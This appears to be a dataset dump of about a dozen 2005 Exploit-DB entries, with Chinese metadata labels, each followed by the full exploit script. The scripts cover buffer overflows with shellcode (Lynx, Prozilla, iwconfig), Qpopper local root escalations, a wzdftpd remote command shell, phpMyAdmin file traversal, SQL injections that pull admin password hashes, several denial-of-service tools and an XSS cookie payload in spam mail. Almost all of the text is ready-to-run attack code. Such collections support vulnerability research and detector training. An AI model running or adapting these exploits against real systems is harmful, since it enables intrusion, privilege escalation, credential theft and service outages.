QLWD/code_shield huggingface dataset:
标题: Lynx 2.8.6dev.13 - Remote Buffer Overflow (PoC) EDB-ID: 1256 CVE: 2005-3120 类型: DOS 平台: MULTIPLE 发布日期: 2005-10-17 漏洞利用脚本: #!/usr/bin/perl --

# lynx-nntp-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

use strict;
use IO::Socket;

$main::port = 119;
$main::timeout = 5;

# *** SUBROUTINES ***

sub mysend($$)
{
my $file = shift;
my $str = shift;

print $file "$str\n";
print "SENT: $str\n";
} # sub mysend

sub myreceive($)
{
my $file = shift;
my $inp;

eval
{
local $SIG{ALRM} = sub { die "alarm\n" };
alarm $main::timeout;
$inp = <$file>;
alarm 0;
};

if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; }
$inp =~ tr/\015\012\000//d;
print "RECEIVED: $inp\n";
$inp;
} # sub myreceive

# *** MAIN PROGRAM ***

{
my $server = IO::Socket::INET->new( Proto => 'tcp',
LocalPort => $main::port,
Listen => SOMAXCONN,
Reuse => 1);
die "can't set up server!\n" unless $server;


while (my $client = $server->accept())
{
$client->autoflush(1);
print 'connection from '.$client->peerhost."\n";


mysend($client, '200 Internet News');
my $group = 'alt.angst';

while (my $str = myreceive($client))
{
if ($str =~ m/^mode reader$/i)
{
mysend($client, '200 Internet News');
next;
}

if ($str =~ m/^group ([-_.a-zA-Z0-9]+)$/i)
{
$group = $1;
mysend($client, "211 1 1 1 $group");
next;
}

if ($str =~ m/^quit$/i)
{
mysend($client, '205 Goodbye');
last;
}

if ($str =~ m/^head ([0-9]+)$/i)
{
my $evil = '$@UU(JUU' x 21; # Edit the number!
$evil .= 'U' x (504 - length $evil);

my $head = <<HERE;
221 $1 <xyzzy\@usenet.qx>
Path: host!someotherhost!onemorehost
From: <mr_talkative\@usenet.qx>
Subject: $evil
Newsgroup: $group
Message-ID: <xyzzy\@usenet.qx>
.
HERE

$head =~ s|\s+$||s;
mysend($client, $head);
next;
}

mysend($client, '500 Syntax Error');
} # while str=myreceive(client)

close $client;
print "closed\n\n\n";
} # while client=server->accept()
}

# milw0rm.com [2005-10-17] URL: https://www.exploit-db.com/exploits/1256
标题: phpMyAdmin 2.6.4-pl1 - Directory Traversal EDB-ID: 1244 CVE: 2005-3299 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-10 漏洞利用脚本: #!/usr/bin/perl
use IO::Socket;

# SecurityReason.com TEAM
# Maksymilian Arciemowicz ( cXIb8O3 ) cxib@securtiyreason.com
#
# Local file inclusion (./$FILE)
# simple exploit phpMyAdmin 2.6.4-pl1
#
#
# SecurityReason.com

if (@ARGV < 3)
{
print "\r\n SecurityReason TEAM\r\n";
print "[cXIb8O3] EXPLOIT for phpMyAdmin 2.6.4-pl1\r\n";
print " \r\n";
print "perl phpmyadmin-2.6.4-pl1.pl HOST /DIR/ FILE\r\n\r\n";
print "HOST - Host where is phpmyadmin example: http://localhost\r\n";
print "DIR - Directory to PMA example: /phpMyAdmin-2.6.4-pl1/\r\n";
print "FILE - file to inclusion ../../../../../etc/passwd\r\n\r\n";
print "example cmd: perl phpmyadmin-2.6.4-pl1.pl http://localhost /phpMyAdmin-2.6.4-pl1/ ../../../../../etc/passwd\r\n\r\n";
exit();
}

$HOST = $ARGV[0];
$DIR = $ARGV[1]."libraries/grab_globals.lib.php";
$FILE = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=".$ARGV[2]."&subform[1][cXIb8O3]=1";
$LENGTH = length $FILE;

print "\r\nATTACK HOST IS: ".$HOST."\r\n\r\n";
$HOST =~ s/(http:\/\/)//;

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "Error 404\r\n\r\n";

print $get1 "POST ".$DIR." HTTP/1.0\n";
print $get1 "Host: ".$HOST."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$LENGTH."\n\n";

print $get1 $FILE;

while ($odp = <$get1>)
{
if ($odp =~ /<b>Warning<\/b>: main\(\): Unable to access .\/$ARGV[2] in <b>/ ) {
printf "\n\nFile ".$ARGV[2]." no exists.\r\n\r\n";
exit;
}

printf $odp;
}

# milw0rm.com [2005-10-10] URL: https://www.exploit-db.com/exploits/1244
标题: Prozilla 1.3.7.4 - 'ftpsearch' Results Handling Buffer Overflow EDB-ID: 1238 CVE: 2005-2961 类型: REMOTE 平台: LINUX 发布日期: 2005-10-02 漏洞利用脚本: #include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define OVERFLOW (1<<10)+32
#define SLEDSIZ (1<<10)
#define RETADDR 0x806977a+SLEDSIZ/2
#define OUTPUT "AdvResults.asp"

/*
* prozilla bug, found while auditing for gentoo bug #70090 
* -taviso@gentoo.org
*/

/* execve() /bin/id */
unsigned char shellcode[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7e"
"\x02\xad\x8e\x83\xeb\xfc\xe2\xf4\x14\x09\xf5\x17\x2c\x64\xc5\xa3"
"\x1d\x8b\x4a\xe6\x51\x71\xc5\x8e\x16\x2d\xcf\xe7\x10\x8b\x4e\xdc"
"\x96\x0a\xad\x8e\x7e\x2d\xcf\xe7\x10\x2d\xc4\xea\x7e\x55\xfe\x07"
"\x9f\xcf\x2d\x8e";

int main(int argc, char **argv)
{
unsigned char *buf;
void *ret = (void *) RETADDR;
FILE *exploit;
int i;

exploit = fopen(OUTPUT, "w");
fprintf(exploit, "<PRE><A HREF=>");

buf = malloc(OVERFLOW);
for (i = 0; buf + i < buf + OVERFLOW; i += sizeof(void *))
memcpy(buf + i, &ret, sizeof(void *));
fwrite(buf, OVERFLOW, 1, exploit);
fprintf(exploit, "</A><A HREF=></A><A HREF=></A></PRE>");
buf = realloc(buf, SLEDSIZ + sizeof(shellcode));
memset(buf, 0x90, SLEDSIZ);
memcpy(buf + SLEDSIZ, shellcode, sizeof(shellcode));
fwrite(buf, SLEDSIZ + sizeof(shellcode), 1, exploit);
free(buf);
fprintf(stderr, "[*] %s created.\n", OUTPUT);
return 0;
}

// milw0rm.com [2005-10-02] URL: https://www.exploit-db.com/exploits/1238
标题: Qpopper 4.0.8 (Linux) - 'poppassd' Local Privilege Escalation EDB-ID: 1229 CVE: 2005-3098 类型: LOCAL 平台: LINUX 发布日期: 2005-09-24 漏洞利用脚本: #!/bin/sh
# tested and working /str0ke
###########################################################################
# Linux Qpopper poppassd latest version local r00t exploit by kcope     ###
# August 2005                                                           ###
# Confidential - Keep Private!                                          ###
###########################################################################

POPPASSD_PATH=/usr/local/bin/poppassd

echo ""
echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/ld.so.preload ]; then
echo "OOPS /etc/ld.so.preload already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 if (!geteuid()) {
 setgid(0);
 setuid(0);
 remove("/etc/ld.so.preload");
 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
 }
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       unlink("/tmp/suid");
       execl("/bin/sh","sh",0); }
_EOF

gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/ld.so.preload
echo /tmp/libno_ex.so.1.0 > /etc/ld.so.preload
su
if [ -f /tmp/suid ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/suid
else
echo "Sorry, exploit failed."
fi

# milw0rm.com [2005-09-24] URL: https://www.exploit-db.com/exploits/1229
标题: Fastream NETFile Web Server 7.1.2 - 'HEAD' Denial of Service EDB-ID: 1220 CVE: 2004-2534 类型: DOS 平台: WINDOWS 发布日期: 2005-09-16 漏洞利用脚本: #Fastream NETFile FTP/Web Server 7.1.2 Professional DoS Exploit
#Bug found by bratax ck
#Coded bY karak0rsan
#d0gma.org // unuver.com
#Greetz:hurby,phalaposher,l4m3r,Atak,spymaster,razor...

$host=$ARGV[0];
$port=$ARGV[1];

if(!$ARGV[1]){
       print "Fastream FTP/Web Server DoS\n";
       print "Coded by karak0rsan // unuver.com\n";
       print "Usage:perl $0 [target] [port]\n";
}

use IO::Socket;
$socket = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, ) or die "Couldn't Connect!\n";;
close($socket);
if($socket){
       print "\n";
       print "[+]Attacking..!\n";
       }

for($i= 0; $i < 100; $i++)
{
$socket1 = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, );
print $socket1 "HEAD / HTTP/1.0\r\n\r\n";
close($socket1);
}
print "Attack finished ;)\n";
exit();

#EoF

# milw0rm.com [2005-09-16] URL: https://www.exploit-db.com/exploits/1220
标题: WzdFTPD 0.5.4 - Remote Command Execution EDB-ID: 1231 CVE: 2005-3081 类型: REMOTE 平台: LINUX 发布日期: 2005-09-24 漏洞利用脚本: ######################################################
# 0day0day0day0day0day0day0day
# -------------------------------
# wzdftpd remote exploit by kcope
# nice call to popen(3) on custom 
# site commands...
#
# August 2005
# confidential! keep private!
# -------------------------------
# 0day0day0day0day0day0day0day
#
#                    .___ _____  __             .___
#__  _  __________ __| _// ____\/  |_______   __| _/
#\ \/ \/ /\___   // __ |\   __\\   __\____ \ / __ | 
# \     /  /    // /_/ | |  |   |  | |  |_> > /_/ | 
#  \/\_/  /_____ \____ | |__|   |__| |   __/\____ | 
#               \/    \/             |__|        \/ 
#                                      
#__  _  _______ _______   ____ ________
#\ \/ \/ /\__  \\_  __ \_/ __ \\___   /
# \     /  / __ \|  | \/\  ___/ /    / 
#  \/\_/  (____  /__|    \___  >_____ \
#              \/            \/      \/ VER1
######################################################

use Net::FTP;

sub usage {
 print "usage: wzdftpdwarez.pl remote_host remote_port user pass custom_site_command\n"
      ."default guest account for wzdftpd is username/password: guest/%\n";
}

print "
wzdftpd remote exploit by kcope
August 2005
confidential! keep private!

";

if ($#ARGV < 4) {
 usage();
 exit();  
}

$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$sitecmd = $ARGV[4];

$ftp = Net::FTP->new(Host => $host, Port => $port, Debug => 0)
     or die "Cannot connect to $host: $@";

$ftp->login($user, $pass)
     or die "Cannot login ", $ftp->message;
     
print "Now you can type commands, hopefully as r00t!\n";
while(1) {
 print "!\$%&#>";
 $cmd=<stdin>;
 $ftp->site($sitecmd, "|$cmd;");
 print $ftp->message();
}

# milw0rm.com [2005-09-24] URL: https://www.exploit-db.com/exploits/1231
标题: Qpopper 4.0.8 (FreeBSD) - Local Privilege Escalation EDB-ID: 1230 CVE: 2005-3098 类型: LOCAL 平台: BSD 发布日期: 2005-09-24 漏洞利用脚本: #!/bin/sh
###########################################################################
# FreeBSD Qpopper poppassd latest version local r00t exploit by kcope   ###
# tested on FreeBSD 5.4-RELEASE                                         ###
###########################################################################

POPPASSD_PATH=/usr/local/bin/poppassd
HOOKLIB=libutil.so.4

echo ""
echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/libmap.conf ]; then
echo "OOPS /etc/libmap.conf already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 if (!geteuid()) {
 remove("/etc/libmap.conf");
 execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
 }
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/libmap.conf
echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf
su
if [ -f /tmp/xxxx ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/xxxx
else
echo "Sorry, exploit failed."
fi

# milw0rm.com [2005-09-24] URL: https://www.exploit-db.com/exploits/1230
标题: Wireless Tools 26 (IWConfig) - Local Privilege Escalation EDB-ID: 1215 CVE: 2003-0948 2003-0947 类型: LOCAL 平台: LINUX 发布日期: 2005-09-14 漏洞利用脚本: // (if the iwconfig executable is setuid) /str0ke

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

/* 45 Byte /bin/sh >> http://www.milw0rm.com/id.php?id=1169 (https://www.exploit-db.com/exploits/1169/) */
char shellcode[]=
                 "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
                 "\x73\x68\x68\x2f\x62\x69\x6e\x89"
                 "\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
                 "\x0b\x51\x52\x55\x89\xe5\x0f\x34"
                 "\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
                 "\x55\x89\xe5\x0f\x34";

int main(int argc,char **argv){
  char buf[96];
  long esp, *addr_ptr;
  unsigned long ret;
  int i, offset;
  unsigned long sp(void)
  { __asm__("movl %esp, %eax");}
  char *prog[]={argv[1],buf,NULL};
  char *env[]={"3v1lsh3ll0=",shellcode,NULL};

  if (argc >= 2) {
    printf("\n*********************************************\n");
    printf("   iwconfig Version 26 Localroot Exploit    \n");
    printf("    Coded by Qnix[at]bsdmail[dot]org      \n");
    printf("*********************************************\n\n");
  } else {
    printf("\n*********************************************\n");
    printf("   iwconfig Version 26 Localroot Exploit    \n");
    printf("    Coded by Qnix[at]bsdmail[dot]org      \n");
    printf("*********************************************\n\n");
    printf("\n USEAGE: ./iwconfig-exploit <iwconfig FULLPATH e.g /sbin/iwconfig or /usr/sbin/iwconfig>\n\n");
    return 1;
    }

  offset = 0;
  esp = sp();
  ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
  printf("[~] S-p.ESP     : 0x%x\n", esp);
  printf("[~] O-F.ESP     : 0x%x\n", offset);
  printf("[~] Return Addr : 0x%x\n\n", ret);

  memset(buf,0x41,sizeof(buf));
  memcpy(&buf[92],&ret,4);

  execve(prog[0],prog,env);

 }

// milw0rm.com [2005-09-14] URL: https://www.exploit-db.com/exploits/1215
标题: phpWebSite 0.10.0 - 'module' SQL Injection EDB-ID: 1217 CVE: 2008-0092 2005-4792 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-15 漏洞利用脚本: #!/usr/bin/perl
use LWP::Simple;
 
$serv     =  $ARGV[0]; 
$path     =  $ARGV[1]; 
$name     =  $ARGV[2];
    
sub usage
 { 
    print "\nUsage: $0 [server] [path] [username] \n"; 
    print "sever    -  URL\n"; 
    print "path     -  path to index.php\n"; 
    print "username -  name register user\n\n"; 
    exit ();}  
 
sub work
 {
    print qq(
       --------------------------------- 
#==---[    phpWebSite SQL-injection     |
#==---[   tested ob phpWebSite-0.10.0   |
#==---[  Gr33tz: blf, 1dt.w0lf, Pengo,  |
#==---[       edisan, foster, whice     |
#==---[ (c)oded by x97Rang 2005 RST/GHC |
#==---[        http://rst.void.ru       |
#==---[          http://ghc.ru          |
       ---------------------------------\n\n);&chv;&board}
       
sub chv     
 {
    $ver  = sprintf("http://%s%s/docs/CHANGELOG.txt",$serv,$path);
    $getv = get "$ver";
if ($getv =~ /(phpWebSite-)(\d{1})\.(\d{1,2})\.(\d{1})/){print"[*] Version: $1$2.$3.$4\n";}}  
 
sub board 
 {
    $URL = sprintf("http://%s%s/index.php?module=%27+union+select+username,password+from+mod_users+where+username=%27$name%27/*",$serv,$path);   
    $content = get "$URL";
if ($content =~ /(\<b\>Search\&\#160\;)(\w{32})(\<\/b\>)/){&showh;}else{print "... One of those days :)\n";}}
 
sub showh
 {
    print "[*] User: $name\n";
    print "[*] Hash: $2\n\n";}
    
if (@ARGV != 3){&usage;}else{&work;}

# milw0rm.com [2005-09-15] URL: https://www.exploit-db.com/exploits/1217
标题: MCCS (Multi-Computer Control Systems) Command - Denial of Service EDB-ID: 1222 CVE: 2005-3002 类型: DOS 平台: WINDOWS 发布日期: 2005-09-19 漏洞利用脚本: #!usr/bin/perl
#
# MCCS Server\Client Command DOS Exploit
# --------------------------------------
#  Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: www.xclusive-software.com
#


use IO::Socket;

print("\n  MCCS Command DOS Exploit\n");
print("-----------------------------\n");

$str = "\x41";
if($#ARGV < 0 | $#ARGV > 1) {
die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n" };

$adr = $ARGV[0];
$prt = "\x38\x30";

print "[+] Connect to host..\n";
sleep 2;
$remote = IO::Socket::INET->new(Proto=>"\x75\x64\x70", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to $adr:$prt\n";
print "[+] Connected\n";
$remote->autoflush(1);
print "[+] Sending bad string..\n";
sleep 2;
print $remote "$str" or die "[-] Error: can't send string code\n";
print "[*] Client Server SHUTDOWNED!\n\n";
print "press any key to exit..\n";
$bla= <STDIN>;
close $remote;

# milw0rm.com [2005-09-19] URL: https://www.exploit-db.com/exploits/1222
标题: phpMyFamily 1.4.0 - SQL Injection EDB-ID: 1208 CVE: 2005-2323 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-27 漏洞利用脚本: #!/usr/bin/perl -w
# phpMyFamily Exploit injection
# ==============================
$banner = "phpMyFamily Exploit injection \n\n==============================
\n\nINFGPG-Hacking&Security Research";
# 
# Greats: AresU (1st IndoSec Team),ADZ Security Team (has discovered bugs)
# Info: 98.to/infamous

use IO::Socket;
if ($#ARGV<0){
print "\n$banner";
print "\n\n Usage: perl phpMyFamily.pl [host] [path] \n\n";
exit;}

$gen="%20UNION%20SELECT%20NULL,password,NULL,username,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20family_users%20%20WH
ERE%20admin='Y'%20LIMIT%201,1"; # This selects first admin with login &
password hash :)

$serius="GET $ARGV[1]/$ARGV[2]/people.php?person=00002'$gen HTTP/1.0\r\n\r\n";
$muka=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$ARGV[0]",PeerPort=>"80")
or die "$ARGV[0]Connection Failed !!\n\n";

$muka -> autoflush(1);
print $muka "$serius";   
print "[*]Sending exploit DONE \n\n";            
sleep(7);
close($muka);

# milw0rm.com [2005-03-27] URL: https://www.exploit-db.com/exploits/1208
标题: BNBT BitTorrent EasyTracker 7.7r3 - Denial of Service EDB-ID: 1199 CVE: 2004-2029 类型: DOS 平台: WINDOWS 发布日期: 2005-09-06 漏洞利用脚本: /* BNBT BitTorrent EasyTracker Remote Denial Of Service
   
   Versions:
   Version 7.7r3.2004.10.27 and below
  
   Vendors:
   http://bnbt.go-dedicated.com/
   http://bnbteasytracker.sourceforge.net/
   http://sourceforge.net/projects/bnbtusermods/

   Bug find and coded by:
   Sowhat@@secway@org
   http://secway.org

   This PoC will Crash the server.
 */

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] = 

"GET /index.htm HTTP/1.0\r\n:\r\n\r\n";

int main(int argc, char *argv[])
{
 WSADATA wsaData;
 WORD wVersionRequested;
 struct hostent  *pTarget;
 struct sockaddr_in  sock;
 char *target;
 int port,bufsize;
 SOCKET mysocket;
 
 if (argc < 2)
 {
  printf(" ######################################################################\r\n");
  printf(" #   BNBT BitTorrent EasyTracker DoS by sowhat <sowhat@@secway@org>   #\r\n", argv[0]);
  printf(" #          This exploit will Crash the Server                        #\r\n");
  printf(" #               http://www.secway.org                                #\r\n");  
  printf(" ######################################################################\r\n");
  printf(" Usage:\r\n %s <targetip> [targetport] (default is 6969) \r\n", argv[0]);
  printf(" Example:\r\n");
  printf(" %s 1.1.1.1\r\n",argv[0]);
  printf(" %s 1.1.1.1 8888\r\n",argv[0]);
  exit(1);
 }

 wVersionRequested = MAKEWORD(1, 1);
 if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

 target = argv[1];
 port = 6969;

 if (argc >= 3) port = atoi(argv[2]);
 bufsize = 1024;
 if (argc >= 4) bufsize = atoi(argv[3]);

 mysocket = socket(AF_INET, SOCK_STREAM, 0);
 if(mysocket==INVALID_SOCKET)
 { 
  printf("Socket error!\r\n");
  exit(1);
 }

 printf("Resolving Hostnames...\n");
 if ((pTarget = gethostbyname(target)) == NULL)
 {
  printf("Resolve of %s failed\n", argv[1]);
  exit(1);
 }

 memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
 sock.sin_family = AF_INET;
 sock.sin_port = htons((USHORT)port);

 printf("Connecting...\n");
 if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
 {
  printf("Couldn't connect to host.\n");
  exit(1);
 }

 printf("Connected!...\n");
 printf("Sending Payload...\n");
 if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
 {
  printf("Error Sending the Exploit Payload\r\n");
  closesocket(mysocket);
  exit(1);
 }

 printf("Payload has been sent! Check if the webserver is dead.\r\n");
 closesocket(mysocket);
 WSACleanup();
 return 0;
}

// milw0rm.com [2005-09-06] URL: https://www.exploit-db.com/exploits/1199
标题: Free SMTP Server 2.2 - Spam Filter EDB-ID: 1193 CVE: 2005-2857 类型: REMOTE 平台: WINDOWS 发布日期: 2005-09-02 漏洞利用脚本: #!usr/bin/perl
#
#    FREE SMTP Spam Filter Exploit
# ------------------------------------
#  Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: http://www.softstack.com/
# 

use IO::Socket;
use Socket;

print("\n   FREE SMTP Spam Filter Exploit\n");
print(" ---------------------------------\n\n");

# Changes to own feed 
$helo = "mail.test"; # HELO
$mfrom = "[support@vuln.test]"; # MAIL FROM
$rcpto = "[root@localhost]"; # RCPT TO
$date = "11 Feb 2099 12:07:10"; # Date
$from = "Micro SEX's"; # From mailer
$subject = "Check the new version.. ®®®\n".
"[b]VICKY VETTE[/b][i]is HOT Editon.Check it OUT!!. Free Nude Shop. Sex,video,picture,toys and XXX Chat Adults live!!![/i]".
"[br][a href=http://127.0.0.1 onMouseOver=alert(document.cookie);]Click Here[/a]"; # subject spammmer

if($#ARGV < 0 | $#ARGV > 1) { 
die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n" };

$adr = $ARGV[0];
$prt = "25";

# Don't changes this one
$act1 = "\x48\x45\x4c\x4f $helo";
$act2 = "\x4d\x41\x49\x4c \x46\x52\x4f\x4d\x3a$mfrom";
$act3 = "\x52\x43\x50\x54 f\x54\x4f\x3a$rcpto";
$act4 = "\x44\x41\x54\x41";
$act5 = "\x44\x61\x74\x65\x3a $date";

$sub = 
"\x46\x72\x6f\x6d\x3a $from".
"\x53\x75\x62\x6a\x65\x63\x74\x3a $subject\x2e".
"\x51\x55\x49\x54";

print "[+] Connect to $adr..\n";
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to $adr:$prt\n";
print "[+] Connected!\n";
$remote->autoflush(1);
print "[*] Send HELO..";
print $remote "$act1" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send MAIL FROM..";
print $remote "$act2" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send RCPT TO..";
print $remote "$act3" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATA..";
print $remote "$act4" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATE..";
print $remote "$act5" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send Sub Mail..";
print $remote "$sub" or die "\n[-] Error: can't send xploit code\n";
print "[OK]\n";
print "[*] QUIT..\n";
print "[+] MAIL SPAMWNED!\n\n";
close $remote;
print "press any key to exit..\n";
$bla= [STDIN];

# milw0rm.com [2005-09-02] URL: https://www.exploit-db.com/exploits/1193